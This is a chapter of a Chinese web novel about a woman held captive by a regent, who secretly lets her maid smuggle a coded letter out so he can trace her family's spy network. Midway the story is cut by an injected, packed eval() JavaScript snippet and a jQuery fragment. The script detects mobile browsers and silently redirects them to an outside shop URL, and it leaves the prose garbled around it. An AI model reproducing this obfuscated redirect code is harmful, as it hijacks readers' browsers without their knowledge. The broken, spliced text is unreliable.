文趣网 > 其他小说 > 摄政王的强制囚妻 > 10. 初次
    凝梅院积雪厚了一层,廊下冷白宫灯昼夜不熄,将这座囚笼院落照得死寂。

    冷雪梅端坐廊下已有两个时辰,手中书卷如常,目光看似落在纸页,实则早已穿透院墙,牢牢锁住院外层层布防的侍卫与暗哨。

    权峥凛的监控密不透风,院门口两名铁甲护卫寸步不离,院墙四角藏着影卫眼线,连送茶递水的仆妇皆是他安插的眼线。

    冷雪梅被困于这方小小天地,如同铲掉根生的寒梅,表面安然静立,内里每一寸呼吸都被人掌控。

    可她不能就此坐以待毙,袖中青铜令牌纹路硌着掌心,脑海中反复盘旋前朝密档内容,梅岭军残部散落京畿之地,唯有持兵符者能号令集结,而这枚令牌,正是权峥凛处心积虑想要夺取的东西。

    他将她囚于凝梅院,名为静养,实乃守株待兔,等着她主动触碰兵符、联络旧部,再顺势将冷家与听风网一网打尽。

    冷雪梅指尖轻轻敲击着膝头书卷,指节规律起落,那是她与西翠约定好的暗语信号。

    三长两短,便是让西翠冒险传信,将凝梅院发现兵符、权峥凛软禁监控的消息传回冷府,让兄长冷行舟按兵不动,暗中联络梅岭军旧部,切勿轻举妄动。

    西翠早已按捺不住,趁着每日送热水间隙,悄悄摸到后墙根下,借着墙缝缝隙,与冷雪梅遥遥相望。

    少女眼底尽显焦急,死死盯着廊下的主子,等候指令。

    冷雪梅缓缓抬眸,目光与西翠相撞,不动声色地眨了三下眼。

    这是约定好的传信讯号,信中内容需以密写方式书写,藏于发簪夹层,借由府中采买婆子带出王府,送入冷府。

    西翠心领神会,攥紧手中铜壶,转身快步离去。

    冷雪梅重新垂下眼帘,掩去眸底所有锋芒。她清楚这一步险棋九死一生,权峥凛的监控天罗地网,密信送出概率微乎其微。

    可她必须试,听风网一旦断了联络,用不了几日,便会被权峥凛的势力逐一蚕食,冷家最后底牌便会彻底暴露敌人眼前。

    冷雪梅赌的是权峥凛的自负、自以为掌控全局的松懈,可从西翠踏入后墙根那一刻,她的一举一动,早已落入权峥凛眼底。

    摄政王府揽月楼。

    权峥凛身着玄色锦袍,临窗而立,指尖摩挲那枚沾染过冷雪梅温度的墨玉扳指,听着影卫单膝跪地的禀报,墨眸意料之中,蕴着深不见底的玩味算计。

    影卫压低声音,如实禀告:“王爷,西翠方才在凝梅院后墙与王妃暗通信号,此刻已返回杂役房,正偷偷书写密信,看样子是想将凝梅院的情况传回冷府。”

    权峥凛薄唇微勾,勾起一抹冷冽笑意:“继续盯着,不必阻拦。”

    影卫抬头,眸底闪过一丝错愕:“王爷?这密信一旦送出,冷行舟便会知晓王府布防,怕是会暗中布局,与咱们作对……”

    “作对?”权峥凛轻笑一声,笑声里携卷绝对的掌控力,“她冷雪梅想玩,本王便陪她玩到底。她要传信,便让她传,本王倒要看看,她能翻出什么浪花来。”

    他早已将冷府上下纳入监控,冷行舟的一举一动皆在他掌控之中,即便密信送出,也掀不起任何风浪。而他之所以纵容,疏忽谈不上,而是一场精心布局的试探。

    权峥凛要的并非将冷家彻底摧毁,亦非将冷雪梅逼至绝路。他要收服这朵傲骨寒梅,让她心甘情愿臣服于他,将她的智谋刚烈,一切尽数纳入掌心。

    更要将百年冷家经营数代的听风网,彻底收为己用,这张遍布朝野的情报大网,远比十万精兵更有用,能助他扫清七皇子权彻、坐稳摄政王位,甚至踏上帝位之巅。

    截杀密信,只会逼得冷雪梅彻底与他对立,鱼死网破。可若纵容她传信,静观其变,既能摸清听风网联络脉络,又能让她以为自己尚有还手之力,一步步落入他布下的棋局。

    权峥凛要让冷雪梅明白,她所有挣扎、暗谋、反抗,都在他的掌控之中。待到时机成熟,再轻轻收网,让她彻底绝望,只能依附于他,成为他最锋利、也最听话的利刃。

    “传令下去。”权峥凛眸色微沉,不容置疑:“西翠送出的密信一路放行,送至冷府后,再悄悄截回,偷偷放回去。全程不许惊动任何人,更不许让冷雪梅察觉到异样。”

    “是!”影卫躬身领命,转身快步退下。

    权峥凛转身望着凝梅院方向,墨眸中翻涌着浓烈占有欲与算计,心中万般思虑:

    冷雪梅,你以为暗度陈仓便能逃过本王掌控?你以为传信冷府便能联手抗本王?太天真了。

    你的人,你的信,你的听风网,你的冷家,从你签下婚书那一刻起,便全都是本王的囊中之物。

    本王不戳破,是在等你耗尽所有力气、撞得头破血流,等你终于明白,你唯一出路,便是归顺本王。

    此时,凝梅院内,冷雪梅正强压着心底焦躁,静候西翠消息。

    她端坐廊下,指尖反复摩挲袖中青铜令牌,每一次纹路划过指尖,都让她心底戒备更添一分。权峥凛心思缜密,城府极深,绝不会对她的小动作视而不见。

    可等了一个时辰,两个时辰,院外依旧平静无波,侍卫照常巡逻,眼线照常走动,丝毫没有截获密信的慌乱,也没有半分前来问责的迹象。

    这份反常的平静让冷雪梅心头的不安愈发浓重,实在不对劲。以权峥凛的手段,西翠传信这般明显动作,他不可能察觉不到,可他非但没有阻拦,反而任由密信送出,这份沉默,比直接戳破更让人心惊。

    故意纵容?亦或布下了更大圈套?

    冷雪梅眸底暗流涌动,心底初次试探与戒备黏吝缴绕,她不敢掉以轻心,更不敢笃定密信已安全送达冷府,权峥凛的每一步沉默,都可能布置了致命陷阱。

    又过了半个时辰,西翠借着送点心由头,再次来到凝梅院。

    她低着头将桂花糕放置石桌,指尖轻轻碰了碰冷雪梅手背,以清浅的声音吐出两个字。

    “成了。”

    冷雪梅指尖微顿,面上平静无波,只淡淡“嗯”了一声,示意她退下。

    西翠不做多留,躬身快步离去,背影透着一份隐约轻松。

    这份轻松并未感染冷雪梅,反而让她心底疑云愈发厚重,一切都太顺利了,顺利得不像话,顺利得是一场提前精心编排的戏约。

    权峥凛掌控全城布防,大婚沿途都能三步一岗五步一哨,怎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722908|208753||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会放任西翠一个小丫鬟将密信送出王府?这其中必定有诈,他要么早已截获密信,查看了内容,要么一路尾随,摸清了听风网联络点。

    他未戳破,亦没发难,更甚不曾质问,如此看来,有且只有一个目的:静观其变,欲擒故纵。

    冷雪梅缓缓闭上眼,脑海中飞速梳理着权峥凛的心思,他不杀她,不囚死她,不强夺兵符,反而纵容她的小动作,看着她暗中布局,这些绝非心慈手软,反而隐匿更大的图谋。

    权峥凛想要的,或许从来不是毁掉冷家,他要收服冷家,将听风网收为己用;他想要的,或许从来不是一个认命的傀儡王妃,他要一个臣服于他、为他所用的冷雪梅。

    一念及此,冷雪梅浑身泛起一丝寒意。权峥凛的野心比她想象的更可怕,他的城府比她预判的更为深沉。他不戳破她,放长线钓大鱼,看着她一步步搭建自己的防线,再亲手将她的防线彻底摧毁,让她再无反抗之力,只能乖乖俯首称臣。

    冷雪梅的试探落入他眼中,不过小猫挠爪;她的戒备在他的掌控下,不过自欺欺人;她所有的暗流涌动,都在他的眼皮底下,无所遁形。

    廊下风卷着积雪吹来,带着刺骨寒意,冷雪梅浑然不觉。她缓缓睁开眼,眸底褪去了所有焦躁,溢出极致到沉静的戒备。

    权峥凛想纵虎归山,再收网擒获,想让她彻底屈服,想将冷家情报网纳入麾下。

    可他忘了,她冷雪梅怎么可能做一只圈养的笼中雀,她要做就做凌寒藏刺的傲梅、伺机反戈的猎手。

    权峥凛纵容她的小动作,她便将计就计;他静观其变,她便暗藏锋芒;他想收网收服,她便在网中布下自己的棋局。

    密信已然送出,即便被权峥凛截获查看,冷雪梅也早已在信中留下虚实难辨的信息,真真假假,混淆视听,既能稳住冷府,又能迷惑权峥凛的判断。

    青铜令牌与前朝密档藏匿隐秘之处,暗格毫无破绽,即便他翻遍凝梅院,也寻不到半分线索。

    权峥凛掌控全局又如何?他监控封锁又如何?她的心,她的智谋,她的底牌,永远不会被他掌控。

    暮色降临,凝梅院宫灯再次亮起,昏黄光线映着冷雪梅孤寂身影,表面平静如水,心底早已掀起惊涛骇浪。

    她起身走入屋内关上房门,将外界监控与窥探隔绝在外,指尖再次抚上书架的《梅岭杂记》,掌心暗格机关轻响,那枚青铜令牌与密档是她最后的底气,也是她对抗权峥凛的最大筹码。

    揽月楼上,影卫已将截获又放回的密信呈到权峥凛面前。

    密信用密写字体,经特殊药水显现,寥寥数语,只言冷府安好、院内无恙,让冷行舟按兵不动,并未言及兵符与梅岭军信息。

    权峥凛看着密信,薄唇勾起一抹玩味笑意,“倒是谨慎,半句实话未留。”

    他抬手将密信丢入火盆,看着纸张化为灰烬,墨眸中闪过一丝欣赏。越谨慎,越有傲骨,越难驯服,便越合他的心意。

    “继续盯着。”权峥凛淡淡吩咐:“她做什么,都由着她。本王倒要看看,这朵寒梅,究竟能扛到何时。”

    影卫躬身退下,火盆中火苗跳动,映着权峥凛眼底的掌控欲。